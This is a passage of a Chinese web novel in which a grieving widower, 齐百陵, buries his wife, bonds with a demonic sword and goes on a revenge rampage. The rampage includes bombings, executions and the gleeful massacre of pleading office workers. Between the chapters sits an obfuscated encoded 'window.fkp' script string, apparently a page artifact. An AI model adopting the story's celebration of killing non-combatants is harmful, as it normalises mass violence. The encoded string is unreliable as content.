就跟她说的一样啊!美,真美啊!这是我看过最美的花景啊!可惜这番美景只能我一人独享,她不在了,我们一同许下的诺言破碎了。悲伤涌上我的心头,在雷霆的霹雳中我悲痛欲绝地哭了。我将她的尸体放在树旁,让她最后再依靠一次那棵古树,就像当初一样。接着,我拿出我带来的铁铲,一铲又一铲地挖着一个方形的坑。我在为她挖坟...... 坑很快就挖好了。我抱起她的尸体,走到坑前,我迟迟不愿放手。因为我这一放手,那就是诀别。那意味着我再也见不到她的样子,我的生活永远失去了她。我不愿那样做,可她早已命归黄泉,我与她也早就见不上面了。在短暂犹豫之后,我轻轻地把她的尸体放进了坑中,并为她拿来了一束玫瑰花。 我知道这一刻终究会到来,可没想到它却来的这么突然。我攥紧我手中的玫瑰花,心中的悲痛在此刻迸发。但即便如此,我也依旧保持情绪不太失控,为了与她告别时能够完美些。看着手中的玫瑰花,我念出了心中的告别词。 “亲爱的,祝你在天堂过得开心。我会替你照顾好你的那些花的,你不必担心太多。我的话你大可放心,我肯定会照顾好自己。亲爱的,请你务必照顾好岚儿,你们娘俩在上面一定要过得幸福。等有时间了,我就看你们去......” 我抽泣了几声,又用手擦了擦眼睛的泪水。 “岚儿,去了天堂好好听你妈的话,别淘气,别气她,她是世界上最爱你的人,你得好好对待你妈。爸爸对不起你,没法陪你和你妈妈了。请原谅爸爸......爸爸会有一天来找你和妈妈的,相信爸爸,岚儿。” 我俯下身去,将手中的玫瑰轻轻放在她的尸体上。从此,我与她诀别。 接着,我用颤抖的手拿起铁铲,一铲又一铲地往坑里填土。每填一铲,过往的一幕一幕就再现在我眼前。每一块土填入,每一点回忆浮现。 天空中雷声大作,冰冷刺骨的雨水洗刷我破碎的心灵。我铲下去一铲子土,脑中回响起两人曾说过的话。 “就你这小身板还来当都市猎人,你莫不是来搞笑的。” “别以貌取人!我打起架来可是很凶的。” 又一铲子下去,又一份土填入坑中。风凛冽了许多。 “二十个仰卧起坐,三十个蹲起,徒步奔跑五公里。” “齐百陵,你是要累死我吧!” “想当都市猎人就别怕累。你看看人隔壁那斯特迪罗家族的薇莉莉,那体魄都快比我强了,你看人家多自律。” “好吧,累一点也没什么大事。” 第三铲子下去。雨下得更猛烈了些。 “还疼着吗?” “现在不疼了。” “以后有什么先跟我说,别再自己孤身一人了。好吗?” “说这么多干什么?我死了,你不就少个干活的吗?还省得你还这么生气了。死了,多消停啊。真是的......” 第四铲,天空中雷声大作。 “这里是你的花园?” “是的。” “你原来喜欢种花吗?” “对啊。你想要几盆吗?” 第五铲,我的眼角流淌热泪。 “那盆破花你收到了没?” “收到了。” “这破东西浪费了我老长时间了!就跟一块烂表一样,让我反复去弄。一包还不够我试个几回的,差点就‘弹尽粮绝’了。不过话说回来,你觉得怎么样啊?” “那是我见过最漂亮的花。谢谢你,齐百陵。” 第六铲,我的身体开始发颤。 “别害怕,有我在这里。别害怕,保持冷静......别害怕,没有什么可怕的。有我在,没事的,都没事的.....” “怎么办......会有鬼来找我吗?” “别害怕,这世界上没有鬼。要是有,我也不会让他碰你的,我会一直守候在你身旁。别害怕,别害怕......” “你真的会一直守候在我身旁吗?别走,别走!我害怕......我害怕孤独......” “我不会离开的!我会一直陪在你身边的。就算是大雨倾盆、天塌地陷我也不会离开,我会一直守候你!别害怕......” “为什么?你为什么......” “我不想把你弄丢了。我本就一无所有,丢了你,我还剩些什么呢?只与怨气与怒火罢了。” 第七铲,我的喉咙发出阵阵哀嚎。 “亲爱的卡娜铃兰小姐,嫁给我吧。” “我愿意......” 第八铲,我的心裂痕遍布。 “我希望有一天,我们的孩子将出生在一个美丽的国家。他将在开满鲜花的原野上玩耍,与蜜蜂与蝴蝶成为朋友。我们会在一旁看他,看他在花海里漫游时的笑脸,也跟着去笑。那会是怎样的幸福啊!” “会有那一天的。我们的孩子,一定会在开满花海的沃野上奔跑的。会的,一定会的!那一天一定会到来的!” 第九铲,我的心支离破碎。 “齐百陵,这不是梦。听我说,这是现实,你马上就要当爸爸了!” “哦哦哦哦哦哦!卧槽!我要当爹了!” 第十铲,我的心濒临破碎。 “自从遇到了你,我慢慢看到了生活的意义。你就像季节的更替一样,突然出现在我的生活之中。与你相处,我能感觉到以前从未有过的温暖,我曾失去的东西,你又赋予了我。你是除了师傅和院长以外第三个能为我带来温暖的人,你是我的天使,你为我带来了光明。你让我明白了什么是爱,你教会了我怎么去爱一个人......那是现实与战斗无法教会我的。” 第十一铲,我的心破碎了。 “我从未想过我们两个会走到今天这番地步。我曾设想过我们两个以后的生活,与现在差别很大,大到处处都是惊喜!说真的,也许是我的思维太过老套了......丛林法则,不适用于你我。现在的我只有一个想法:我要用我的一生去照顾这个家,让你们娘俩能过上好日子。” 第十二铲,我的心碎成了八块。 “没事的,生活总是有意义的。而且,我答应过你,我会一直陪在你的身边,永不离弃的。我们相互都发过誓的......” 第十三铲,我的心碎成了渣子。 “是你们娘俩赋予了我生活下去的意义,是你们让我活着的每一天都是有意义的。我很害怕,害怕你们有一天离我而去......我好不容易重新建起的家,我不想再让它垮掉了!” 第十四铲,我的心碎成了粉末。 “齐百陵,要不我们的孩子就叫齐天岚吧。这名字的谐音是晴天蓝,寓意我们的儿子前途似蓝天一般广阔。” “行!老婆。听你的,咱们的儿子就叫这个名字。” 第十五铲...... 第十六铲...... 第十七铲...... ...... 最后一铲,彻底告别我人生中那一瞬的光明。 “齐百陵,我不怪你......你尽力了,做不到这些不怪你的。是命运无情,让我们注定分离啊......” 埋葬完她的尸体,我已经哭干了泪水。过往的甜蜜、幸福、快乐一次又一次刺痛我的心灵,失去一切的悲痛使我的心冷酷如冰。我能感觉到,爱就像季节更替一般闯入我的生活,又随着季节更替离开我的生活。我痛苦万分! 想不到这座秘密花园竟即是我们爱情的起点,也是我们爱情的终点。失去挚爱之人的我,已经一无所有了。与她的道别就相当于与光明的道别,我的一生已经彻底无可救药了。我的家没了,我所坚守的一切都逝去了,我的梦想也随之失色。还有什么是值得我去做的?想必也只有报仇了吧。对,只有复仇了! 这座花园是她的坟墓,也是我的坟墓。那个善良、正直、为人着想的齐百陵已经死了,和卡娜铃兰一起死在了这片属于爱的花园。现在留下的,只有一个嗜血、冷酷、要用余生复仇的刽子手。 未完待续...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东洋墟—第三话:都市野狼的传奇 书接上文...... 这时候,我身后传来异常的响动。我转头一看,发现无数黑色的气焰裹挟着红色结晶体在花园门口汇聚成了一把剑的轮廓。我仔细一瞧,发现这把剑的轮廓之中是我的那把断刀。我从极度的悲痛之中抽出一份惊喜。说真的,我没想到竟还能见到我的战友,而且好巧不巧就在我需要它的时候。黑色气焰和红色结晶体附着在我的断刀上,在黑色猛火的灼烧下它们合为一体,变成了一把魔剑。 那把魔剑成型之后竟飞了起来,还用成熟男人的嗓音对我说话。 “人类呀,成为我的主人吧。吾乃x魔剑·渊,是把削铁如泥的魔兵。我能嗜血变得强大,你和我一样,也是靠杀戮变得强大。” 我起初对他抱有敌意,但听魔剑这么说,我瞬间就放松了警惕。 “我感受到你体内沸腾的杀戮之血!我感受到你心中燃烧的无尽怒火!我感受到你的心意,你想报仇!失去挚爱,失去梦想,失去家庭,你失去了一切!你不甘愿就这样失去,你要夺回!或是毁了他人的一切!” 魔剑说的话正中我心,这正是我现在所想的,我所能感受到的。 “人类啊,我知道你需要我。你需要一把能让你顺利复仇的武器,你需要一种能让你打过许多强人的力量,你需要一位能指引你前进的指引者。而我,就是你的不二选择。” 这把魔剑就跟知己一样,完全了解我的想法。我思考再三,还是决定拿下这把魔剑,为了复仇,为了我失去的一切。我化悲痛为斗志,向魔剑说道: “好!你说的不差。既然有意,那你就成为我的剑吧。” 魔剑见我顺了它的心意,就开始跟我谈条件。要我用它来杀戮,让它嗜血噬魂变得强大,这样他就同意成为我的剑。可这小小魔剑岂能有跟我谈判的权力,我当即就否定了它,并用杀意满满的口吻告诉它: “剑,从来都没有选择主人的权利,就是你这把会说话的也一样。你只能归顺于你的主人,不然你就是把废剑。既然你今天找来了我,那你就别走了,正好我缺一把杀人的剑呢。” 魔剑被我的话征服,瞬间就变得服服帖帖的。魔剑飞下来,自己乖乖地悬在我面前,让我去拿。我自然不会辜负它的好意,我很顺利地拿起了这把魔剑。谁知,我刚拿起它,它就猛地转向,对着我的心口就是猛地一刺。一阵难忍的剧痛蔓延至我的全身,我当时感觉全身麻木了,以为自己会被魔剑反水杀死。但是,在疼痛之后我感受到了前所未有的爽感,是力量顺着我的血液流动的感觉! 我抬起头看着天,随即露出一抹疯狂的笑容。我握紧魔剑,感受力量源源不断注入我体内。我还感觉到,我体内的核心正在发生着异变。它不再会以我的正面情绪为最大的能量输出口,而是会以我的仇恨与怒火!一切都在向着我期待的方向发展,这个血仇我势必要报,无论代价,无论手段。 过了一会,我把魔剑拔了出来。一颗深渊心脏替换了我原本的心脏,它让我的肉体更加强大。刚刚魔剑的那一刺并非伤及我的要害,反而是让我的要害变得难以被伤害。这时,魔剑问我: “你感觉怎么样?齐百陵。” 我露出一抹爽朗的笑容,回答: “帮极了!” 获得这把魔剑之后,我便开始谋划我的复仇计划。在谋划计划的每一天里,我都在每一日的清晨与傍晚练习使用魔剑,还练习了与魔剑的配合。那时我才知道,魔剑具有能指导、协助战斗的作用。当我迷路时魔剑能帮我指路,在我找不到目标时魔剑能告诉目标方位,在我遇到致命危险之前魔剑会提醒我。有了这样一把体贴入微且全能的剑,杀死我的仇人也只是时间问题了。 在那段时间里,我唯一的生活动力就是复仇。为了复仇,我彻底陷入疯狂。原本束缚着我的、我所遵循的法则在我眼中变得狗屁不是,于是我便舍弃那些繁文缛节,依靠魔剑的力量干着自己想要做的事。我并非是无拘无束、肆意妄为,而是纯粹的自由:不去做不愿做的事情。 我多次违反都市猎人管理协会的规定,遭到管理协会除名;我又多次惹恼管理协会,管理协会派来许多杀手前来处理我,但无一例外全部被我杀死。有一次,他们甚至派出七个中等协会的执行者来处理我,但那些渣子根本打不过我,除了一个侥幸逃跑以外,其余全部成了魔剑的食粮。 当然,在给她报仇之前,我还得将过去的债务肃清。一笔一笔的,这都市亏欠我的那些我要一并索要回来。既然我已经一无所有了,那还怎会惧怕死亡?还怎会害怕失去?! 我在一个下小雨的日子杀入吉列尔莫家族的聚居地,以一己之力应对50位帮派成员,当时击杀了四十七人。吉列尔莫家族的话事人亲面与我商谈,我只是索要了点重要情报,之后便离开了。介于我强大的实力,吉列尔莫家族也不敢当即找我复仇,也只能将这事先平息下来。 “挡我者死,你们谁先来?” 顺着那重要情报给的线索,我一路追查到东城的繁荣区中。当初杀害我师傅霍杰伦的凶手就生活在那里,现已退休,但我不打算放过他。我专门挑了个良辰吉日,在那一日的下午我找到了他。他那时坐在轮椅上,行动很困难,早就没了当年那强劲的实力。我杀死他之前,他竟一点也没有向我求情,反而说这是早该来的报应。他早已释然,可我还迟迟不能放下。一剑斩杀,送葬这位犯下罪孽的罪人。 “你的罪孽已经偿还!我们还会在地狱里再见的。——师傅......父亲......这份仇我替你报了!” 事实上,我和他都是罪人,犯下过深重的罪孽。我和他不过一个年轻,一个年老,岁月无法冲刷我们犯下的罪孽。我杀完他之后我也在想,我的余生会不会像他一样被人砍下头颅呢?我想那不可能了,我的余生止步于为她复仇完的那一刻。我早已死去,和她一起。现在活着的是我的仇恨,而非那个真实的我。 喝下一杯咖啡,我坐着偷渡船来到西柏木。手握魔剑,杀入绝境战线组织第五军团协会内部,为了我惨死的好哥们燕长风报仇。尽管事情已经过去了多年,但那份仇恨我始终还记得。是他,将我拉入了野狼乐团,也是他让我第一次感觉到梦想的甜蜜。他和他的妻子萨拉在多年以前惨死在这群人手中,这份血债由我来替他们报!当我杀入协会内部,见到第五军团的团长蒋晶晶时,她问我: “是何许人也要覆灭我们的协会?” 我霸气地回答她: “一只嗜血的野狼。” 一轮激烈的交战,我斩杀三台战斗机甲,屠戮士兵三十二人,以一己之力摧毁第五军团本部,最后对第五军团团长蒋晶晶施以绞刑。被勒断脖子前,她用最后一口气骂了我。 “疯子!疯子!” 我没有回应,无情地按下开关。机甲碎块落下,她身首异处。随着大火吞噬整个协会本部,第五军团也就此走向了覆灭。处理完那些,我抽根了从里面顺出来的雪茄。我抽了两口,味道大冲我驾驭不住。抽完这两口我就随手一扔,接着坐上回去的偷渡船回去。 “操!这烟真他妈难抽。” 干完这疯狂的一票,我又策划了一起意外,通过黑市弄来的炸药弄死了一家大公司的总经理和她的一家。当初就是因为她,我们野狼乐团才会遭受到如此不公平的待遇。当时,我们拥有70%的支持票即将能进入摇滚节决赛,而她的一手暗箱操作直接让我们失去了这个机会,只因为我们是一群来自风岭区的追梦人。再加上赛后对我们的迫害以及一系列恶心人的操作,我们的野狼乐团就在那样巨大的压力之下散了,就那么散了! “毁我梦想者,杀!野狼乐队的各位,这份冤屈我替你们讨来公道了!” 在一个晴朗的大风天,我驾驶一辆摩托来到南城市中心,在其中一个高档住宅小区之中,我找到了我的猎物。他们是一对夫妻,男女方都是椿木家的人,这正好符合了我发泄愤怒的一切条件。既然椿木家族迫使我家破人亡,那我就要把这份恶意双倍奉还给他们。我见到这对夫妻,将心中的怨气与怒火通过言语释放了出来,不顾他们二人怎想,说完我就动手了。区区傀儡师,就是个脆的要死的召唤师,岂能与我这个嗜血的战士抗衡。不出几回合,他们夫妻俩就败下阵来。 在我动手杀死他们两个之前,男方还向我求情。 “求求你!别杀我们,我们没有得罪过你。你要什么我们都给你......我们家中还有很多人要养,他们失去了我们会活不下去的!” 我露出一抹笑容,接着一剑将男方砍死。他的妻子见到后悲痛欲绝,但奈何实力差距就摆在眼前,她除了求饶以外什么也做不了。旧日的伤痕隐隐作痛,奈何此刻如怪物一般的我还有一丝善心,我便只是斩断女方的右手,之后就离开了。 在逃脱维和部队与调解人的追捕的途中,我还顺带用血洗清了一间黑暗德鲁伊的大教堂。我与黑暗德鲁伊这群家伙还有点仇,所以就顺带教训教训这些疯子,将整个窝点杀了个干净,顺带连杀五位司教。 后来我再次回到都市猎人管理协会,管理协会的人听闻到我的那些事迹,见到我就跟见了杀神似的,没一个敢对我刀剑相向。我光明正大走进都市猎人管理协会东玲国分部的总部,还在众目睽睽之下肆无忌惮地在协会内部走来走去。我绕过缴械安检,走过大厅,坐上电梯,一路来到协会分会长的面前。 见到分会长,我笑呵呵地说: “你好呀,会长。” 分会长见我这样,吓了一跳。他问: “你这疯子,竟然还会回来?说吧,你是来干什么的?” 我双手柱着桌子,一副霸气又无礼的样子。我说: “按照我们之前的约定,今天是我来取东洋墟入驻许可证的时候。顺带的,你是不是该给我开证明了?” 分会长能猜到拒绝是个怎样的结果,于是做出违反纪律的事,给我开具了证明,并且短暂恢复了我都市猎人的身份,以便我能顺利达到东洋墟。他只给我开了一份证明,也只给了我一个许可证。我顿时就有些不大乐意,我问他: “为什么你开了一份?” 他回答: “你的配偶卡娜铃兰已经死亡,你又无亲属在身旁,我只能给你开一份。这是规定,请你谅解。” 我当即拔出我背上的魔剑,一剑劈在他的办公桌上。我一只脚踩在他的办公桌上,摆出了极其霸气与嚣张的姿势。我用强硬的语气命令他: “我不谅解,小子。你要是不给她开一份,我今天就让你变成臊子。” 他辩解道: “可是......卡娜铃兰已经死了啊。给死人开证明,这......” 我露出一抹阴森的笑容,告诉他: “你喜欢混沌还是饺子。或者说......馅儿饼?” 他无力辩解,只得按我的话乖乖去做。很快她的证明与居住许可证也开好了。我拿走我和她的重要文件,随即就离开了猎人管理协会。在我离开办公室前,分会长叫住了我,他用十分不解的语气问我: “到底是什么让你变得这样疯狂?又是什么支撑你走到这一步?” 我冷笑几声,回答他: “我为爱而疯狂,我为恨而前进。” 他善意地提醒我: “你出了这个门,你身上肯定会背负巨额悬赏。走到这一步,你已经是躺进坟墓的人了。你这么做,无疑是在找死。与世界为敌,与秩序为敌呀!那样你最后什么也不会留下。将自己的一生就此挥霍,这实属是愚蠢的行为!” 我轻蔑一笑,反问他: “我什么时候不与世界为过敌?” 说完这话,我就离开了猎人管理协会,离开了我熟悉的东城,我的故乡。分手的时候总是伴随着泪水,不出意料我在远行的客船上偷偷地哭了。这一去我再也不会回来,这是诀别,与我那过去曾拥有的一切诀别,与我自己诀别。我生在那里,找朋友在那里,工作在那里,梦想在那里,恋爱在那里,家在那里,生活在那里,也痛苦在那里。离开了它,就相当于离开了整个世界。我已漫步在星河,流浪在宇宙,踏上一段燃烧自我的旅途,永远没有回头。 “亲爱的......你很快就能见到人间最猛烈的夜火了。我将成为你眼中人间唯一的星辰,我将在燃烧自己的时候悄悄奔向你。最终的夜曲,我为你杜撰的乐曲。以这世界为乐器,以鲜血为乐谱,以我对你的思念为曲调,我为你送上史上最浪漫的夜曲。卡娜铃兰,我亲爱的妻子,我最爱的人!” 在我搬到了东洋墟之后,按照我们事先的约定举办了婚礼,一场只有我自己的婚礼。这是我对她最深重的怀念,也是兑现我曾许下的诺言。 我把婚礼现场周围进行了封锁,不让任何人进入现场。我买了音响,在现场放着动听的婚礼进行曲,可现场就我一个。旁人知道了,都说我是个疯子。对,我是个疯子,疯在了为情痴狂。我又买了数不尽的鲜花与气球,在现场摆好,摆的是既盛大又气派。要不是我穿着新郎官的衣服,别人还以为我是来装修现场的工人呢。我还买了三箱子啤酒,我还自己一个人坐在台上喝了足足三个小时的酒。从早上喝到中午,中途还吐了三次。 那把魔剑就一直在我身旁静静看着我,我到哪它到哪。我放气球的时候,它会很调皮地故意扎破几个来惹我生气,又会犯完错跟个受气包一样听我埋怨,被埋怨完还会来逗我开心。这种被陪伴的感觉,真让我怀念。即使它是把剑,也能勾起无数美好的回忆。要是它是个人的话,也许我在以后的生活里还能多个念想,不至于如今这样舍弃一切去复仇。 这场婚礼是不尽人意的,被人瞧不起的。我失败了,没能给她举办个轰轰烈烈的婚礼,反而是糟蹋了这份约定。我非常后悔,因为我就跟个啥也不是的酒鬼一样在婚礼现场喝了个酩酊大醉,根本没有新郎官的样子。我不由得叹息,不知我这番丢脸的行为会不会惹得她生气,不知她还能否原谅这样糟糕的我。 在举办完那糟糕的婚礼之后,我通过多方介绍混到了黑市里面。不过黑市里的人并不待见我,他们只相信金钱与他们的老客户。作为一个外来者,我很明显对这里的规矩不熟悉。有好几次,我都被赶出了黑市。我想在黑市里购买奇点装备,但黑市里的人并不愿意卖给我。见我是个外来者,就不瞧不上我,以为我是什么阿猫阿狗。多次协商未果,逼得我跟他们翻了脸。当然,我不是阿猫阿狗,我可是嗜血的野狼。既然他们这么无情,那么我也只有一个选择了。 “既然你们不想去卖,那我就亲手来拿。” 我打进黑市,将众多武装雇佣兵打倒,靠自己强大的实力征服了整个黑市。黑市老板不得不拉低身位与我协商,这才制止了我继续战斗的手。最后在我的要求下,黑市老板们以低价将我需要的奇点装备卖给了我,并且与我签订了黑市常规武器使用条约。离开黑市之后,我身上都不知背了几份通缉了。那些黑市老板亏了钱肯定不会放过我,我能嗅到他们身上想要复仇的气息。 在我打完黑市后的第二个月,我遭遇到了前所未有的挑战。由于我身上的悬赏金额太高,再加上我干的那些事,我成功吸引到了收尾人的注意。这次我面对的敌人远比之前要强大,收尾人可不是什么善茬。 在我来到东洋墟的第三十三天,我遭遇了白色收尾人德勒茜娅的进攻。白色收尾人别名赛博天使,是个全身分为四十多个组件且可以随意拆卸、组装,还拥有控制人精神的力量的女赛博人。 与她的那一战,可谓是我自复仇以来吃的最大的一次瘪。 她的身体时而能跟叶子一样轻柔,时而跟钢铁一样坚硬。我的攻击对于她来说不痛不痒,想对她造成实质性伤害比把铁棒磨成铁针还要艰难。她背后的那两对机械翅膀在战斗中既充当盾牌,又充当进攻单位,这可谓是棘手至极的麻烦。她本身的攻击模式还好说,只要提防她的腿技与光刃就行。可是她额头上的天使烙印时不时就会释放脉冲波,这给我造成了又一大棘手的问题。被脉冲波震到我基本都得晕一下,要严重点我可能直接就晕倒过去。更棘手的是,她还有根名为卡巴拉之树的杖子,那根杖子在离手时会化身浮游炮,协助她作战;到她手里了,又化身精神毁灭者,每一次挥动都会使我感到精神一遍又一遍崩溃。 好在我留了个心眼,我在黑市中还买了个保命用的x晶体。x-11,一种能在极短时间释放巨量电磁脉冲的特殊晶体。我用诈骗式进攻的方式凑近了她,并对着她要害部位的额头使用了x-11。在一阵刺耳的爆鸣声之后,x-11炸裂开来。我被溅了一身碎石渣,几乎啥事没有,而她陷入到浑身抽搐的状态,顿时本体失去战斗力。但她的翅膀和那根杖子没完全失灵,它们勉强能进行战斗。 我本想着终结白色收尾人,但一想到杀死收尾人会惹来的麻烦,我顿时就打消了这个想法。但为了出气,我躲过杖子与翅膀的攻击,凑到她身前用力在她身上踹了三脚,给她的合金装备踹开胶了。即便抽出不能动,她还不忘骂我。 “你这混蛋!给我衣服踹开线了啦。混蛋!混蛋!等我恢复过来,我要......” 没等她说完,我就跑了。她跪坐在原地一直在抽搐,她眼睁睁看着我跑掉了,心里那叫一个气呀。在逃离现场时,我能明显的听到,她在我身后骂我,和她的那根杖子一起。我没管那么多,说跑就跑了。毕竟我还有复仇计划要执行,没必要在她身上浪费太多。 所幸收尾人没咬的太紧,只有她一人来找了我。这给了足够安全的准备时间,我的复仇计划也如日中天。 在她离开我的第六个月,我终于找到了复仇的机会。那时正值春节的前夕,万家团圆的日子却是我最痛苦的日子。我找到了一个诱饵,一个要跟他一起下地狱的诱饵。椿木一马,他的儿子,他唯一的至亲,也是支撑起他生活的顶梁柱。为了复仇,我可准备了太多了。工具,黑市装备,交通工具,人脉......凡是复仇需要的我都准备了。现在只差时候未到。 当新年的钟声即将敲响之际,我点燃一根香烟,深吸了一口。看着漫天绚烂的烟火,心中的甜蜜与苦涩交至,我想起我们曾一同度过的美好。死亡的黑气爬上我的脊背,我的燕尾服上浸染死亡的色彩,深邃似深渊倒映出烟火的绚丽,我知道是时候了。我看向漫天的烟火,一把扔出手中燃烧的香烟。烟火和烟的火交相呼应在一起,我的心中燃起猛烈的赤焰。 我与这城市一起庆祝新年的到来。我挤出我最后的笑容去面对这个世界,尽管我此刻痛苦万分。 我想,未来将是无限美好......可我将在今夜燃烧。 望着天,我深情地说: “杀戮之歌,奏响吧。为受赐夜火,点亮这噤默的城市。卡娜铃兰,我亲爱的爱人,我今天要帮你肃清血仇。你的死不会是杳无声息的,也不会是没有意义的。我会让你的魂灵以在最崇高的仪式中离去!” 我深吸一口气,说: “亲爱的,我来找你和岚儿了” 最后一站,源能核心公司。目标:杀死椿木武宪和他的儿子,可以动用一切手段。这一单,是我最后的一单。没有工钱,没有中间人,没有指引,没有情报......这是属于我的委托,属于我一个人的战争。 我通过黑市买来的装备切断了源能核心公司内部以及周围很大一部分区域的正常广播通讯,接着我将事先准备好的音乐上传至信号发生器中,然后一首激昂的乐曲在广播里开始播放。刺耳的吉他声回荡在公司的每个角落,也回荡在周围区域的每个角落。那乐曲打破喜庆的氛围,将无形的恐惧降临到每个聆听者的心头。 我还准备了一个麦克风。我将麦克风与信号发生器相连,接着我深情地吟诵起我们的终末。 “我将以血色作为玫瑰,送给一去不复返的你!我将以身躯化作烈火,焚尽这无边的苍穹!听啊!夜曲奏响了!听啊!多么美妙啊!亲爱的,这是我送给你的挽歌!你将在天堂聆听,我将在地狱燃烧!” 说完,我一下子砸碎了麦克风。我带上我全部的装备,拿好我和她的武器,坐上一辆暗改的无人驾驶车辆,我一头装进了源能核心公司的大门。撞进去之后,我潇洒地下了车,走入源能核心公司的大厅。以公司大门的破碎为节点,夜曲按照我预定的程序开始播放。 我穿着蓝色燕尾服,左手拿着一把魔剑,右手拿着一把纹有铃兰花的长剑。我像一个剑士一样,背负着信仰与责任,无惧风雨、无惧一切。我接纳了一切痛苦,我也一无所有,因而此刻的我不惧怕失去! 广播里响起警告我的话语,可我不屑一顾。大厅内出现驱逐我的企业战士,整个大厅内的所有成员都围着我。好似我是那笼中之鼠,弱小无助;可事实上,我是来自地狱的杀神。几台防卫机甲加入战场,我不由得高兴的一笑,终于有铁块能让我练习斩铁了。 凡是挡我者,杀无赦!我不会手下留情,我要肃清整个公司!今天就是耶稣来了也不好使,谁来我杀谁。 我激活魔剑渊,让x的力量汇聚在我的全身。我用剑指着在场的每一个人,用杀气四溢的口吻告诉他们: “哈哈哈哈哈!你们竟敢挡我的路。不错,真是不错。既然来都来了,那么你们都别走了。成为这夜曲中的音符吧!” 这些人对我来说统统都是杂兵,两剑一个,解决起来毫不费力。就连那些高大的防卫机甲也是一样。不过一个不抗打,一个抗打一点。人多势众?人海战术?在我眼前不过是浮夸的气泡,一戳就碎啊。枪械科技?能量武器?不过是弱者用来自卫的兵器,根本无法与我手中的魔剑抗衡!仅凭这些弱小的守护者是守护不了这家公司的,你们都是一丘之貉。弱者终究是弱者,强者永远是强者。弱肉强食的世界中,你们都是虫子! 战术人形?即便你技巧过人,也不过尔尔。砍得你鲜血横飞!杀! 保卫者机器人?即便你有钢铁之躯,也不过是工具而已。砍得你碎如渣滓!杀! 文职人员?即便你有强大的意志,也不过是弱者一个。砍得你肉体崩碎!杀! 防卫机甲?即便你有重型武装,即便你坚硬胜过钢铁,但只要被我抓住一个破绽,我照样给你拆成一地碎渣。机器,终究不是无暇的。砍得你分崩离析!杀! 只是片刻过后,大厅内的墙壁与地面上都被刷上了一片片的血色,到处都是公司保卫者的尸骸,顿时间血雾弥漫、腥风血雨。大厅内弥漫着血腥的气味,血雾染红了大厅内用来装饰的植物。大厅内一片狼藉,作为始作俑者的我,正站在大厅内静享杀戮后的宁静。整个大厅内的所有人员无一幸免,我将所有保护公司的人杀了个干净。 战斗结束后,我身上不过是三处刀伤,而守护者他们则是全员阵亡。这样悬殊的实力差距给了我莫大的信心,我有把握将傀儡师碎尸万段。这么想着,我就迈步走向公司的电梯井,登上电梯去其他楼层一一肃清公司内的残余人员。这样对我来说是一种非凡的体验,我能感觉到野性的杀戮本能正在释放。肆意屠戮的感觉令我疯狂与莫名的愉悦,我在这种疯狂中找到了发泄口。 在杀戮这些员工的时候,我将我这辈子受到的所有委屈、所有不公、所有痛苦、所有悔恨都释放了出来。每当一个员工倒下,我都能感觉到久违的快乐。一位又一位,我逐渐在杀戮中放飞自我。 “既然是痛苦,那么我们就所有人来一同品尝!我不能独吞这份痛苦,你们要与我一同享受!” 见到有人向我下跪求饶,我随手一剑砍出,直接让它身首异处。我现在才知道掌握别人生死权利的滋味有多爽快。看着他们害怕的神情,看着他们求饶的动作,看着他们眼中那渴求仁慈的眼神,我可以肆意杀死或饶恕他们,就跟上帝一样的感觉!当然,我的武器可杀不过来那么多人。要是我哪一瞬间爽了,我就干脆一次性放走一个楼层的人,让他们逃命去吧! “死吧!死吧!!都给我去死吧!!!就让痛苦,连接我们的心......和我一起在痛苦中燃烧吧!” 我曾遭受到的痛苦越多,我在现在就越疯癫。我曾度过的那些憋屈日子,我曾度过的那些痛苦生活,我曾失去的那些美好......无一例外,都是促进我疯狂杀戮的催化剂。我犹如一团猛烈的野火,恨不得燃烧整个世界。我要把这世界给予我的痛楚全数奉还回去,我要让整个世界看到来自底层人民的怒火!我不会在无名中死去,血色是我这段传奇的见证人。 最后,我杀到了顶层,见到了准备逃跑的椿木武宪一家。他儿子椿木一马还天真的以为可以通过直升机来逃跑,可他儿子殊不知,我买的那些黑市装备早就锁死了一切的逃跑路线。那直升机才刚飞起来没多久就坠毁在楼顶停机坪上,正好我那时赶到了停机坪旁。 这公司最后的保镖还指望用降落伞保住椿木武宪一家的安全。天真,太天真了。我手中的魔剑会飞,在那保镖带着椿木一马先行一步在顶楼跳伞时,我扔出魔剑斩断了他们背后的跳伞背包,那保镖当时就掉下去摔死了。椿木一马被他爸椿木武宪用傀儡给救了。多么感人的故事啊,可它注定要以悲剧结尾。 傀儡师认出了我,他质问我: “你为什么要来复仇?谁给你的资本让你来复仇?!” 我冷笑几声,告诉他: “没人给我资本,我也没有资本。现在,我已经一无所有了,还怎会怕失去!” 傀儡师质问我: “难道你没有活下去的动力了吗?!或者说值得你理智一点的东西。你这只野犬!” 我狂笑几声,告诉他: “你当时夺走了我的一切!她是我生命当中唯一的一束光,你却将它熄灭!因为你,我们错过了救孩子的机会!我们把他生下来连面都没见上一次,他就那么夭折了。他生下来连三个月都没有!” 傀儡师欲言又止。我冷笑几声,泪不经意间流下我的面颊。我告诉他: “你知道一无所有的感觉吗?你不知道!人的痛苦并不相通,造就痛苦的人更不可能知道!” 傀儡师质问我; “难道这不就是这世界的法则吗?弱肉强食,适者生存。你身为弱者,触犯强者就是要付出代价的。而且付出代价的是你的爱人,而非你!你该庆幸你活了下来,而非糟蹋这份来之不易的生命。这样你不该知足吗?!” 我笑了笑,说: “知足?不,你不懂。你又没承担这份痛苦,你怎能就此断论我的痛苦!你只是个自私的混蛋,假装你知晓一切,但其实你连最基本的人性都不通。我的爱也是爱,我的妻子也是妻子,我的一切就是一切!” 傀儡师十分冷血地说: “幼稚!谁会在乎你的那些痛苦!强者只会考虑自己的安危!弱者才会去同情别人。成熟一点,你不该像个疯子一样。遵循这份规则,不要尝试忤逆。我们都依赖这份规则生活,我们都是规则上的一环!逆反规则,是要付出惨痛代价的。” 我轻蔑一笑,反问他: “那既然如此,按照你那所谓的规则,弱者只该被强者猎杀。那么现在我已经不是当初那样弱小了,我是比你强大的人了。那么我想问你,你夺走了我的一切,那我反过来再来夺走你的一切不过分吧?” 傀儡师用手指着我,大声质问道: “你这疯狗!!!你他妈要做什么?” 我冷笑三声,霸气十足地说: 